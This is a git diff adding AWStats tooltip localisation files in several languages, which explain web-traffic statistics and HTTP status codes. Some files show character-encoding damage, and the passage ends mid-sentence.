е предизвикано 'обновяване'.<br /> +- Посещението е започнало в последният час (след 23:00) от последният ден на месеца (по технически причини #PROG# е възпрепятстван да изчисли продължителността на такива сесии). +</div> + +<div class="CTooltip" id="tt201"> Няма описание на тази грешка. </div> +<div class="CTooltip" id="tt202"> Заявката ще бъде обработена по-късно от сървъра. </div> +<div class="CTooltip" id="tt204"> Сървърът обработи заявката, но тя не съдържа нищо. </div> +<div class="CTooltip" id="tt206"> Частично съдържание </div> +<div class="CTooltip" id="tt301"> В отговора на заявката можете да видите новият адрес на поисканият документ. </div> +<div class="CTooltip" id="tt302"> Няма описание на тази грешка. </div> +<div class="CTooltip" id="tt400"> Синтактична грешка, сървърът не разбира вашата заявка. </div> +<div class="CTooltip" id="tt401"> Опитвате се да достигнете <b>URL защитен с име/парола</b>.<br />Многократни такива съобщения могат да означават опит за неоторизиран и/или <b>злонамерен достъп</b> до вашият сайт. </div> +<div class="CTooltip" id="tt403"> Опитвате се да достигнете <b>URL недостъпен и за оторизирани потребители</b> (например, URL адрес в директория, която не е дефинирана за "преглед".). </div> +<div class="CTooltip" id="tt404"> Опитвате се да достигнете <b>несъществуващ URL</b>. Това показва съществуването на невалидна връзка в сайта или погрешно написан от посетителя URL адрес. </div> +<div class="CTooltip" id="tt408"> Сървърът е отделил <b>твърде много време</b> за да отговори на заявката. Тази грешка обикновено означава или бавен CGI скрипт, който сървърът се е принудил да прекрати или извънредно претоварен със заявки сървър. </div> +<div class="CTooltip" id="tt500"> Вътрешна грешка. Тази грешка обикновено е причинена от CGI програма която е прекратила действието си абнормално(coredump например). </div> +<div class="CTooltip" id="tt501"> Исканото действие е непознато. </div> +<div class="CTooltip" id="tt502"> Код за грешка, върнат от HTTP сървър, работещ като прокси или gateway, когато сървърът-цел не е отговорил успешна на клиентската заявка. </div> +<div class="CTooltip" id="tt503"> Вътрешна грешка на сървъра. </div> +<div class="CTooltip" id="tt504"> Портално(Gateway) прекъсване. </div> +<div class="CTooltip" id="tt505"> HTTP версията не се поддържа. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-br.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-br.txt new file mode 100644 index 0000000..a47ebe9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-br.txt @@ -0,0 +1,141 @@ +<!-- Brazilian Portuguese tooltips message file (urban@ite.net.br) --> +<!-- $Revision: 1.3 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Uma nova visita é definida como cada novo <b>visitante entrando</b> +(vendo ou navegando por uma página) que não estava conectado a +seu site pelos últimos <b>#VisitTimeOut# minutos</b>. +</div> +<div class="CTooltip" id="tt2"> +Número de hosts clientes (<b>endereços IP</b>) que vieram +visitar o site (e que viram pelo menos uma <b>página</b>).<br /> +Estes dados se referem ao número de <b>pessoas físicas +diferentes</b> que chegaram no site. +</div> +<div class="CTooltip" id="tt3"> +Número de vezes que uma <b>página</b> do site é +<b>vista</b> (Soma de todos os visitantes e todas visitas).<br /> +Estes dados diferem dos "hits" pois somente conta a exibição de +páginas HTML, enquanto os "hits" contam também imagens e outros +arquivos. +</div> +<div class="CTooltip" id="tt4"> +Número de vezes uma <b>página, imagem, ou arquivo</b> do site +é <b>visto</b> ou <b>recebido</b> por alguém.<br /> +Estes dados são fornecidos apenas como referência, já que +o número de "páginas" visto é freqüentemente +preferido para fins de marketing. +</div> +<div class="CTooltip" id="tt5"> +Esta parte de informação refere-se à quantidade de dados +recebidos de todas <b>páginas</b>, <b>imagens</b> e <b>arquivos</b> de +seu site.<br /> +Unidades estão em KB, MB ou GB (KiloBytes, MegaBytes ou GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +#PROG# reconhece cada accesso ao seu site após uma <b>busca</b> a +partir das <b>#SearchEnginesArray# mais populares Ferramentas de Busca da +Internet e Diretórios</b> (como Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Lista de todas <b>páginas externas</b> que foram utilizadas como origem +de acesso (e entrada) ao seu (Somente as <b>#MaxNbOfRefererShown#</b> +páginas externas mais freqüentemente utilizadas são +exibidas). +Links utilizados pelos resultados de ferramentas de busca não +são incluídos aqui pois já foram incluídos na +linha anterior desta tabela. +</div> +<div class="CTooltip" id="tt15"> +Esta tabela mostra a lista das mais freqüentes <b>palavras-chave ou frases</b> +usadas para encontrar seu site a partir de Ferramentas de Busca da Internet e +Diretórios. +(Palavras-chave das <b>#SearchEnginesArray#</b> mais populares Ferramentas de +Busca e Diretórios são reconhecidas pelo #PROG#, como Yahoo, Altavista, Lycos, Google, Voila, etc...).<br /> +Note que o número total de buscas por palavras-chave pode ser maior que +o número total de buscas por frases (número real de buscas) +porque quando 2 palavras-chave são usadas em uma mesma busca, a busca +é contada em dobro para palavras-chave (uma para cada palavra). +</div> +<div class="CTooltip" id="tt16"> +Robots (também chamados de Spiders) são <b>computadores +visitantes automáticos</b> utilizados por várias ferramentas de +busca que podem rastrear seu web site para indexá-lo e +classificá-lo, coletar estatisticas em Web sites da Internet e/ou +verificar se seu site ainda está disponível.<br /> +#PROG# é capaz de reconhecer até <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Todas as estatíticas de tempo relatadas são baseadas no +horário do servidor. +</div> +<div class="CTooltip" id="tt18"> +Aqui os dados reportados são: <b>valores médios</b> (calculados +a partir de todos os dados entre a primeira e última visitas no +intervalo analisado) +</div> +<div class="CTooltip" id="tt19"> +Aqui os dados reportados são: <b>somas cumulativas</b> (calculadas a +partir de todos os dados entre a primeira e última visitas no intervalo +analisado) +</div> +<div class="CTooltip" id="tt20"> +Some <b>Duraçãoes de visitas</b> são 'desconhecidas' +porque não podem ser sempre calculadas. Esta é a principal +razão para isso:<br /> +- A Visita não tinha sido encerrada quando a + 'atualização' ocorreu.<br /> +- Visitas iniciadas na última hora (depois de 23:00) do último + dia do mês (Uma razão técnica previne #PROG# de calcular +as durações destas sessões) +</div> +<div class="CTooltip" id="tt21"> +Worms (vermes) são <b>visitas automáticas de computadores</b> que na +realidade são servidores externos, infectados por um vírus, que +tenta realizar hits específicos em seu site para infectá-lo. Na +maioria dos casos, estes "vermes" exploram defeitos ("bugs") de servidores. Se +o seu sistema não é o <b>alvo sensível</b> do +worm, você pode simplesmente ignorar estes hits.<br /> +Existem poucos 'vermes de servidor' no mundo, mas eles costumam ser muito +ativos às vezes. +#PROG# é capaz de reconhecer <b>#WormsArray#</b> assinaturas conhecidas +de vermes (nimda,code red,...). +</div> + +<div class="CTooltip" id="tt201">Erro sem descrição.</div> +<div class="CTooltip" id="tt202">Requisição foi entendida pelo +servidor, mas será processada depois.</div> +<div class="CTooltip" id="tt204">O servidor processou a +requisição, mas não há documento a ser enviado.</div> +<div class="CTooltip" id="tt206">Conteúdo parcial.</div> +<div class="CTooltip" id="tt301">O documento requisitado foi movido e +está agora em outro endereço fornecido como resposta.</div> +<div class="CTooltip" id="tt302">Erro sem descrição.</div> +<div class="CTooltip" id="tt400">erro de sintaxe, o servidor não +entendeu a requisição.</div> +<div class="CTooltip" id="tt401">Tentou alcançar uma <b>URL em que um +par usuário/senha foi requisitado</b>.<br />Um grande número +neste item pode significar que alguém (como um hacker) está +tentando quebrar, ou entrar em seu site (esperando entrar em uma área +segura tentando diferentes pares de usuários/senhas, por exemplo).</div> +<div class="CTooltip" id="tt403">Tentou alcançar uma <b>URL não +configurada como acessível, mesmo com um par userio/senha</b> (por +exemplo, uma URL com um diretório não definido como +"navegável".).</div> +<div class="CTooltip" id="tt404">Tentou alcançar uma <b>URL +inexistente</b>. Este erro freqüentemente significa que há um link +inválido em algum ponto de seu site ou que um visitante errou a +digitaço de uma URL.</div> +<div class="CTooltip" id="tt408">O servidor levou <b>muito tempo</b> para +responder a requisição. Este erro freqüentemente indica ou +um script CGI lento que o servidor teve que interromper ou um servidor Web +extremamente congestionado.</div> +<div class="CTooltip" id="tt500">Erro interno. Este erro é +freqüentemente causado por um programa CGI que terminou de forma anormal +(por exemplo um coredump).</div> +<div class="CTooltip" id="tt501">Ação requisitada desconhecida.</div> +<div class="CTooltip" id="tt502">Código retornado pelo servidor HTTP +que trabalha como proxy ou gateway quando um servidor real algo não +respondeu com sucesso à requisição do cliente.</div> +<div class="CTooltip" id="tt503">Erro interno do servidor.</div> +<div class="CTooltip" id="tt504">Tempo esgotado no Gateway.</div> +<div class="CTooltip" id="tt505">Versão de HTTP Não Suportada.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ca.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ca.txt new file mode 100644 index 0000000..c2631d9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ca.txt @@ -0,0 +1,68 @@ +<!-- Catalan tooltips message file (temujinnn@hotmail.com) --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Es considera una nova visita per <b>cada nou visitant</b> que consulta una p�gina i que hagi accedit al lloc en els �ltims <b>#VisitTimeOut# mins.</b>. +</div> +<div class="CTooltip" id="tt2"> +Nombre de clients (<b>adreces IP</b>) que entren a un lloc (i que com a m�nim visiten una <b>p�gina</b>).<br /> +Aquesta xifra reflecteix el nombre de <b>persones f�siques diferents</b> que han accedit al lloc en un dia. +</div> +<div class="CTooltip" id="tt3"> +Nombre de vegades que una <b>p�gina</b> del lloc ha estat <b>visualitzada</b> (La suma de tots els visitants inclouen visites m�ltiples).<br /> +Aquest comptador es distingeix de "hits" perqu� nom�s conta les p�gines HTML, i no pas els gr�fics o altres arxius o fitxers. +</div> +<div class="CTooltip" id="tt4"> +El nombre de vegades que una <b>p�gina, imatge, arxiu o fitxer</b> d'un lloc �s <b>visualitzat</b> o <b>descarregat</b> per visitant.<br /> +Aquest comptador serveix de refer�ncia, per� el comptador de "p�gines" representa una dada mercadot�cnica generalment m�s �til, i per tant, m�s recomanada. +</div> +<div class="CTooltip" id="tt5"> +El nombre de <b>kilo bytes</b> descagarregats pels visitants del lloc.<br /> +Es refereix al volum de dades descarregades per totes les <b>p�gines</b>, <b>imatges</b> i <b>arxius o fitxers</b> mesurats en bytes. +</div> +<div class="CTooltip" id="tt13"> +El programa #PROG# �s capa� de recon�ixer una visita a un lloc despr�s de cadascuna de les <b>cerques</b> des de qualsevol dels <b>#SearchEnginesArray# motors de cerca i directoris Internet</b> m�s populars (Yahoo, Altavista, Lycos, Google, Terra, etc...). +</div> +<div class="CTooltip" id="tt14"> +Llista de <b>p�gines de llocs externs</b> utilitzades para accedir o enlla�ar-se amb el seu lloc (Nom�s les <b>#MaxNbOfRefererShown#</b> p�gines m�s utilitzades es troben numerades). +Els enlla�os emprats pels motors de cerca o directoris s�n exclosos perqu� ja han estat comptabilitzats a l'anterior apartat. +</div> +<div class="CTooltip" id="tt15"> +Aquesta taula mostra la llista de les <b>paraules clau</b> m�s utilitzades en els motors de cerca i directoris Internet per trobar el seu lloc. +(El programa #PROG# reconeix paraules claus util.litzades en els <b>#SearchEnginesArray#</b> motors de cerca m�s populars, com Yahoo, Altavista, Lycos, Google, Voila, Terra etc...). +</div> +<div class="CTooltip" id="tt16"> +Els Robots son <b>visitants autom�tics</b> que escanejan o viatgen pel seu lloc per a indexar-lo, o jerarquitzar-lo, per tal de recollir estad�stiques de llocs Web, o per verificar si el seu lloc es troba connectat a la Xarxa.<br /> +El programa #PROG# reconeix fins a <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Els temps relacionats amb les estad�stiques estan basats en temps de servidor. +</div> +<div class="CTooltip" id="tt18"> +Aqu�, les dates reportades son: <b>valors medis</b> (calculat desde totes les dates entre les primeres y les ultimes visites en la franja analitzada) +</div> +<div class="CTooltip" id="tt19"> +Aqu�, les dates reportades son: <b>sumes acumulatives</b> (calculat desde totes les dates entre les primeres y les ultimes visites en la franja analitzada) +</div> +<div class="CTooltip" id="tt20"> +Algunes <b>Duracions de les visites</b> son 'desconegudes' perqu� no poden ser calculades sempre. La ra� principal d'ax� es:<br /> +- La visita no va acab� quan es va fer 'l'actualizaci�'.<br /> +- La visita va comen�ar en la hora anterior (despr�s de les 23:00) del passat dia de un mes (la ra� t�cnica de prevenir a #PROG# de la duraci� calculada de tales sessions) +</div> + +<div class="CTooltip" id="tt201"> Error sense descripci�. </div> +<div class="CTooltip" id="tt202"> La petici� ha estat computada per� el servidor la processar� m�s tard. </div> +<div class="CTooltip" id="tt204"> El servidor ha processat la petici� per� no existeixen documents per enviar. </div> +<div class="CTooltip" id="tt206"> Contingut parcial. </div> +<div class="CTooltip" id="tt301"> El document sol�licitat ha estat reubicat i es troba en una URL proporcionada en la mateixa resposta. </div> +<div class="CTooltip" id="tt302"> Error sense descripci�. </div> +<div class="CTooltip" id="tt400"> Error de sintaxis, el servidor no ha ent�s la seva petici�. </div> +<div class="CTooltip" id="tt401"> Nombre d'intents per accedir a una <b>URL que exigeix una combinaci� usuari/contrasenya que ha estat inv�lida.</b>.<br />Un nombre d'intents molt elevat pot suggerir la possibilitat que un hacker (o pirata) ha intentat entrar a una zona restringida del lloc (p.e., intentant m�ltiples combinacions de usuari/contrasenya). </div> +<div class="CTooltip" id="tt403"> Nombre d'intents per accedir a una <b>URL configurada per a no ser accessible ni amb una combinaci� usuari/contrasenya</b> (p.e., una URL pr�viament definida com a "no navegable"). </div> +<div class="CTooltip" id="tt404"> Nombre d'intents per accedir a una <b>URL inexistent</b>. Sovint, aquests es refereixen a un enlla� (link) no v�lid o a un error mecanogr�fic quan el visitant tecleja una URL err�nia. </div> +<div class="CTooltip" id="tt408"> El servidor ha trigat <b>massa temps</b> a respondre a una petici�. Sovint, �s degut a un programa CGI molt lent, el qual ha estat abandonat pel servidor, o b� per un servidor molt saturat. </div> +<div class="CTooltip" id="tt500"> Error intern. Aquest error generalment �s provocat per una terminaci� anormal o prematura d'un programa CGI (p.e., un CGI corromput o malm�s). </div> +<div class="CTooltip" id="tt501"> Petici� desconeguda pel servidor. </div> +<div class="CTooltip" id="tt502"> Codi retornat per un servidor de protocol HTTP que funciona com a proxy o pont (gateway) quan el servidor objectiu no funciona o no interpreta correctament la petici� del client (o visitant). </div> +<div class="CTooltip" id="tt503"> Error intern del servidor. </div> +<div class="CTooltip" id="tt504"> Passarel�la fora de l�nia. </div> +<div class="CTooltip" id="tt505"> Versi� de protocol HTTP no suportada. </div> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cn.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cn.txt new file mode 100644 index 0000000..da54b93 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cn.txt @@ -0,0 +1,49 @@ +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +���ֶ�Ϊ�ι���վ�����˴Σ�����ͬ��ַ���������վ��ʱ����������#VisitTimeOut#���ӲŻ��ټ�¼һ�Ρ� +</div> +<div class="CTooltip" id="tt2"> +���ֶ�Ϊ�ι���վ���������ԴӲ�ͬ�ļ����<b>IP</b>�������վ�ĸ�����������վ�������� +</div> +<div class="CTooltip" id="tt3"> +���ֶ�Ϊ���вι������вι���<b>��ҳ</b>���ʵ��ܴ�����ֻ��¼��ҳ(.html��������ͼƬ��CSS���ļ�)�ķ��ʴ����� +</div> +<div class="CTooltip" id="tt4"> +���ֶ�Ϊ�����ȡ���ܴ�����������ҳ�ļ���ͼƬ�ļ���Ӱ���ļ��ȡ�<br /> +��Щ���ݽ������ο�������ҳ������ Page View������������ҵ���� +</div> +<div class="CTooltip" id="tt5"> +���ֶ�Ϊ�������ļ����ݵ�����������������ҳ�ļ���ͼƬ�ļ���Ӱ���ļ��ȡ� +</div> +<div class="CTooltip" id="tt13"> +���ֶ�Ϊ��¼ʹ���ߴ���Щ��Ѱ��վ�������վ��#PROG# ���Զ������ʹ�õ�#SearchEnginesArray#���������棬��(Yahoo! Google...)�� +</div> +<div class="CTooltip" id="tt14"> +��ʾ������վ����ҳ����������������վ����ҳ�б��� +ϵͳ���г��ϳ������ǰ#MaxNbOfRefererShown#����ҳ��ַ�� +</div> +<div class="CTooltip" id="tt15"> +���������ʾʹ��������Ѱ��վ�нϳ�ʹ�õĹؼ�����������վ��ϵͳ���¼�ʹ�õ�#SearchEnginesArray#����Ѱ��վ�ؼ��ʡ� +</div> +<div class="CTooltip" id="tt16"> +��Ѱ��վ�Ļ�����(Robots)���Զ�����Ѱ��վ�ڵ��������ݡ�<br /> +#PROG#��¼�ϳ�ʹ�õ�#RobotArray#����������Ѱ��վ�ļ�¼�� +</div> + +<div class="CTooltip" id="tt201"> û�й�����������������</div> +<div class="CTooltip" id="tt202"> ��ҳ���������˽�ʹ���ߵ�����</div> +<div class="CTooltip" id="tt204"> ��ҳ�������Ĵ�����ʹ���ߵ�������ȴû���ļ����ͳ�</div> +<div class="CTooltip" id="tt206"> ��ҳ���ݶ�ȡ����ȫ </div> +<div class="CTooltip" id="tt301"> ��Ѱ����ҳ�Ѿ��Ƶ������ط����������Ѿ���Ѱ����</div> +<div class="CTooltip" id="tt302"> ��ҳԭ���Ҳ����������Ѿ��ڱ�ĵط��ҵ���</div> +<div class="CTooltip" id="tt400"> �������ҳ���������˽�ʹ���ߵ�����</div> +<div class="CTooltip" id="tt401"> �����������������������ҳ��ַ����������</div> +<div class="CTooltip" id="tt403"> ����������δ�����������ҳ��ַ����������</div> +<div class="CTooltip" id="tt404"> ���������������ڵ���ҳ��ַ����������</div> +<div class="CTooltip" id="tt408"> ��ҳ����������̫��ʱ�䴦���������</div> +<div class="CTooltip" id="tt500"> �ڲ���������������һ���� CGI ����������</div> +<div class="CTooltip" id="tt501"> ���˽�����</div> +<div class="CTooltip" id="tt502"> �������������������ط�������ҳ������û�гɹ����ظ��ͻ���</div> +<div class="CTooltip" id="tt503"> �ڲ��������������� </div> +<div class="CTooltip" id="tt504"> ͨѶ��ʱ </div> +<div class="CTooltip" id="tt505"> ��� HTTP �İ汾û��֧�� </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cz.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cz.txt new file mode 100644 index 0000000..88e83fe --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cz.txt @@ -0,0 +1,75 @@ +<!-- Czech tooltips message file (David Jurenka <awstats-translation.box NO SP@M imx.jurenka D.O.T cz>) --> +<!-- $Revision: 1.2 $ - $Date: 2009/08/26 10:14:07 $ --> +<div class="CTooltip" id="tt1"> +Za novou návštěvu se považuje každý <b>přístup návštěvníka</b>, který nebyl připojen na serveru v průběhu předchozích <b>#VisitTimeOut# minut</b>. +</div> +<div class="CTooltip" id="tt2"> +Počet počítačů (<b>IP adres</b>), které se připojily na server (a stáhly alespoň jednu <b>stránku</b>).<br /> +To zhruba odpovídá počtu <b>různých osob</b>, které navštívily stránky. +</div> +<div class="CTooltip" id="tt3"> +Celkový počet <b>zhlédnutí</b> jednotlivých <b>stránek</b> (součet za všechny návštěvy všech návštěvníků).<br /> +Toto číslo se liší od „hitů“ tím, že sem jsou započítávány pouze stažení HTML stránek, a nikoli obrázků a jiných souborů. +</div> +<div class="CTooltip" id="tt4"> +Celkový počet <b>zhlédnutí</b> nebo <b>stažení</b> jednotlivých <b>stránek, obrázků, či souborů</b>.<br /> +Tento údaj je udáván spíše pro zajímavost, neboť počet zhlédnutých „stránek“ má obecně větší vypovídací hodnotu pro marketingové účely. +</div> +<div class="CTooltip" id="tt5"> +Celkový objem dat přenesených při návštěvách vašich stránek.<br /> +Tento údaj zahrnuje jak zobrazené <b>stránky</b>, tak stažené <b>obrázky</b> a <b>soubory</b>. +</div> +<div class="CTooltip" id="tt13"> +#PROG# umí rozpoznat přístupy na server z <b>#SearchEnginesArray# nejznámějších internetových vyhledávačů a adresářů</b> (např. Yahoo, Altavista, Lycos, Google, Voila). +</div> +<div class="CTooltip" id="tt14"> +Seznam <b>externích stránek</b> obsahujících odkazy na vaše stránky, přes které přišli někteří návštěvníci. (Zobrazuje se pouze <b>#MaxNbOfRefererShown#</b> nejčastěji použitých). +Odkazy z internetových vyhledávačů jsou uvedeny v samostatné tabulce, a proto zde nejsou zahrnuty. +</div> +<div class="CTooltip" id="tt15"> +Tato tabulka obsahuje nejčastější <b>výrazy a slovní spojení</b> použité ve vyhledávačích a internetových adresářích pro vyhledání těchto stránek. +(#PROG# podporuje <b>#SearchEnginesArray#</b> nejpopulárnějších vyhledávačů a adresářů, jako Yahoo, Altavista, Lycos, Google, Voila a další.)<br /> +Všimněte si, že celkový počet vyhledání všech výrazů může být vyšší než součet vyhledání slovních spojení, neboť každé víceslovné vyhledávání je započítáno právě jednou do slovních spojení, ale vícenásobně do výrazů (jednou pro každé obsažené slovo). +</div> +<div class="CTooltip" id="tt16"> +Roboty jsou <b>automatizovaní počítačoví návštěvníci</b> používaní pro skenování a indexování obsahu World Wide Webu a pro kontrolu, zda jsou jednotlivé stránky stále dostupné.<br /> +#PROG# dokáže rozpoznat <b>#RobotArray#</b> robotů. +</div> +<div class="CTooltip" id="tt17"> +Všechny časové statistiky vycházejí z času na serveru. +</div> +<div class="CTooltip" id="tt18"> +Zde zobrazené údaje jsou <b>průměrné hodnoty</b> (počítané ze všech návštěv ve sledovaném období). +</div> +<div class="CTooltip" id="tt19"> +Zde zobrazené údaje jsou <b>celkové součty</b> (počítané ze všech návštěv ve sledovaném období). +</div> +<div class="CTooltip" id="tt20"> +Některé <b>délky návštěv</b> jsou uvedeny jako „neznámé“, neboť je nelze vždy přesně určit. Hlavními důvody k tomu jsou:<br /> +• Návštěva nebyla dokončena v okamžiku, kdy probíhala aktualizace statistik. (Délka bude doplněna při následné aktualizaci.)<br /> +• Návštěva začala v poslední hodině (po 23:00) posledního dne v měsíci. (Z technických důvodů #PROG# nedokáže určit délku takovýchto návštěv.) +</div> +<div class="CTooltip" id="tt21"> +Červy jsou <b>počítačové programy</b> napadající počítače na síti, které pak dále využívají pro své další šíření. Ve většině případů se červy snaží využít chyb +v neaktualizovaných komerčních aplikacích. Pokud váš systém není mezi <b>zranitelnými cíly</b> červu, můžete takovou zátěž jednoduše ignorovat.<br /> +Existuje jen velice málo internetových červů; přesto ale bývají ve své době velice rozšíření. +#PROG# umí rozlišit stopy <b>#WormsArray#</b> známých červů (Nimda, Code Red aj.). +</div> + +<div class="CTooltip" id="tt201">Požadavek byl splněn a nový objekt byl vytvořen.</div> +<div class="CTooltip" id="tt202">Požadavek byl přijat, ale bude zpracován později.</div> +<div class="CTooltip" id="tt204">Server úspěšně zpracoval požadavek, nicméně nebylo třeba vrátit žádný obsah.</div> +<div class="CTooltip" id="tt206">Server na přání klienta vrátil pouze část obsahu.</div> +<div class="CTooltip" id="tt301">Požadovaný dokument byl trvale přemístěn na jiné URI.</div> +<div class="CTooltip" id="tt302">Požadovaný dokument byl dočasně přemístěn na jiné URI.</div> +<div class="CTooltip" id="tt400">Požadavek je syntakticky chybný.</div> +<div class="CTooltip" id="tt401">Neúspěšná autentikace pro <b>URL vyžadující jméno a heslo</b>.<br />Vysoký počet těchto chyb značí, že se někdo opakovaně pokoušel uhodnout správné jméno a heslo.</div> +<div class="CTooltip" id="tt403">Požadavek na <b>URL, které nelze zobrazit</b> (např. v URL v rámci adresáře, jehož obsah není určen k prohlížení).</div> +<div class="CTooltip" id="tt404">Požadavek na <b>neexistující URL</b>. Tato chyba zpravidla značí, že se někde vyskytuje neplatný odkaz, anebo uživatel špatně napsal požadované URL.</div> +<div class="CTooltip" id="tt408">Klient neodeslal svůj požadavek serveru ve stanoveném čase (chyba klienta, přetíženého serveru, anebo pomalého CGI skriptu).</div> +<div class="CTooltip" id="tt500">Vnitřní chyba serveru (často způsobena chybným zpracováním skriptu).</div> +<div class="CTooltip" id="tt501">Server nepodporuje funkce potřebné k vyřízení požadavku.</div> +<div class="CTooltip" id="tt502">Chyba vracená serverem HTTP, který funguje jako brána nebo proxy, když cílový server vrací chybovou odpověď na klientův požadavek.</div> +<div class="CTooltip" id="tt503">Služba je momentálně nedostupná z důvodu přetížení, či probíhající údržby serveru.</div> +<div class="CTooltip" id="tt504">Chyba vracená serverem HTTP, který funguje jako brána nebo proxy, když cílový server neodpoví ve stanoveném časovém limitu.</div> +<div class="CTooltip" id="tt505">Nepodporovaná verze protokolu HTTP.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-de.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-de.txt new file mode 100644 index 0000000..94335e0 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-de.txt @@ -0,0 +1,62 @@ +<!-- $Revision: 1.4 $ - $Date: 2008/10/05 11:22:17 $ --> +<div class="CTooltip" id="tt1"> +Ein neuer Besucher wird definiert als jeder neue <b>Besucher</b>, der eine Seite abgerufen hat und der auf Ihre Web Site in den letzten <b>#VisitTimeOut# min.</b> nicht zugegriffen hat. +</div> +<div class="CTooltip" id="tt2"> +Anzahl der Rechner (<b>IP-Adressen</b>), die Ihre Web Site besuchten und mindestens eine <b>Seite</b> aufgerufen haben.<br /> +Diese Anzahl entspricht der Zahl an <b>unterschiedlichen physikalischen Personen</b>, die Ihre Web Site an irgendeinem Tag besuchten. +</div> +<div class="CTooltip" id="tt3"> +Anzahl der insgesamt <b>angezeigten Seiten</b> Ihrer Web Site (Summe aller Zugriffe von allen Besuchern).<br /> +Diese Zahl unterscheidet sich von den "Zugriffen", da nur HTML Seiten und keine Grafiken oder andere Dateien gezählt werden. +</div> +<div class="CTooltip" id="tt4"> +Anzahl der insgesamt <b>angezeigten</b> oder <b>heruntergeladenen Seiten, Grafiken, Dateien</b> Ihrer Web Site.<br /> +Diese Zahl wird nur als Referenz angegeben, da meistens die Anzahl der angezeigten "Seiten" für Marketingzwecke bevorzugt wird. +</div> +<div class="CTooltip" id="tt5"> +Dieser Wert entspricht der Menge an Daten, die aufgrund aller <b>Seiten</b>, <b>Grafiken</b> und <b>Dateien</b> Ihrer Web Site übertragen worden sind.<br /> +Einheiten sind in Kb, Mb oder Gb (KiloBytes, MegaBytes oder GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +#PROG# erkennt jeden Zugriff auf Ihre Web Site aufgrund einer <b>Suche</b> von einer der <b>#SearchEnginesArray# beliebtesten Internet-Suchmaschinen und -Verzeichnisse</b> (wie z.B. Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Eine Liste aller <b>externen Seiten</b>, von denen ein Verweis auf Ihre Web Site erfolgte (nur die <b>#MaxNbOfRefererShown#</b> am häufigsten aufgetretenen externen Seiten werden angezeigt). +Verweise aufgrund eines Suchergebnisses einer Suchmaschine werden hier nicht aufgeführt, da diese bereits in der vorherigen Tabellenzeile angegeben worden sind. +</div> +<div class="CTooltip" id="tt15"> +Diese Tabelle zeigt die Liste der am häufigsten verwendeten <b>Schlüsselwörter</b>, um Ihre Web Site mit einer Internet-Suchmaschine bzw. -Verzeichnis zu finden. +(#PROG# erkennt die Schlüsselwörter der <b>#SearchEnginesArray#</b> beliebtesten Internet-Suchmaschinen und -Verzeichnisse, wie z.B. Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt16"> +Robots (manchmal auch als Spider bezeichnet) sind <b>automatische Computerbesucher</b>, die von vielen Suchmaschinen eingesetzt werden, um Ihre Web Seite aufzunehmen und auszuwerten.<br /> +#PROG# ist in der Lage, bis zu <b>#RobotArray#</b> Robots zu erkennen. +</div> +<div class="CTooltip" id="tt17"> +Alle zeitbezogenen Statistiken basieren auf der Serverzeit. +</div> +<div class="CTooltip" id="tt18"> +Die angezeigten Werte sind <b>Durchschnittswerte</b> (berechnet aus allen Werten zwischen dem ersten und letzten Besuch). +</div> +<div class="CTooltip" id="tt19"> +Die angezeigten Werte sind <b>Summenwerte</b> (berechnet aus allen Werten zwischen dem ersten und letzten Besuch). +</div> + +<div class="CTooltip" id="tt201">Für diesen Fehler liegt keine Beschreibung vor.</div> +<div class="CTooltip" id="tt202">Die Anfrage wurde vom Server akzeptiert, aber sie wird erst später verarbeitet.</div> +<div class="CTooltip" id="tt204">Der Server hat die Anfrage verarbeitet, aber es wurde kein Ergebnis übertragen.</div> +<div class="CTooltip" id="tt206">Unvollständiger Inhalt.</div> +<div class="CTooltip" id="tt301">Das angeforderte Dokument wurde verschoben und ist nun unter der angegebenen Adresse erreichbar.</div> +<div class="CTooltip" id="tt302">Die angeforderten Daten wurden vorübergehend zu einem anderen URI verschoben.</div> +<div class="CTooltip" id="tt400">Syntaxfehler, der Server kann die Anfrage nicht verarbeiten.</div> +<div class="CTooltip" id="tt401">Es wurde versucht, auf eine <b>URL zuzugreifen, für die eine Authentifizierung notwendig war</b>.<br />Eine hohe Anzahl kann darauf hindeuten, daß jemand (z.B. ein Hacker) vesucht, sich unerlaubten Zugang zu Ihrer Web Site zu verschaffen, indem er z.B. verschiedene Login/Passwort Kombinationen durchprobiert.</div> +<div class="CTooltip" id="tt403">Es wurde versucht, auf eine <b>unerreichbare URL zuzugreifen, für die selbst eine Authentifizierung 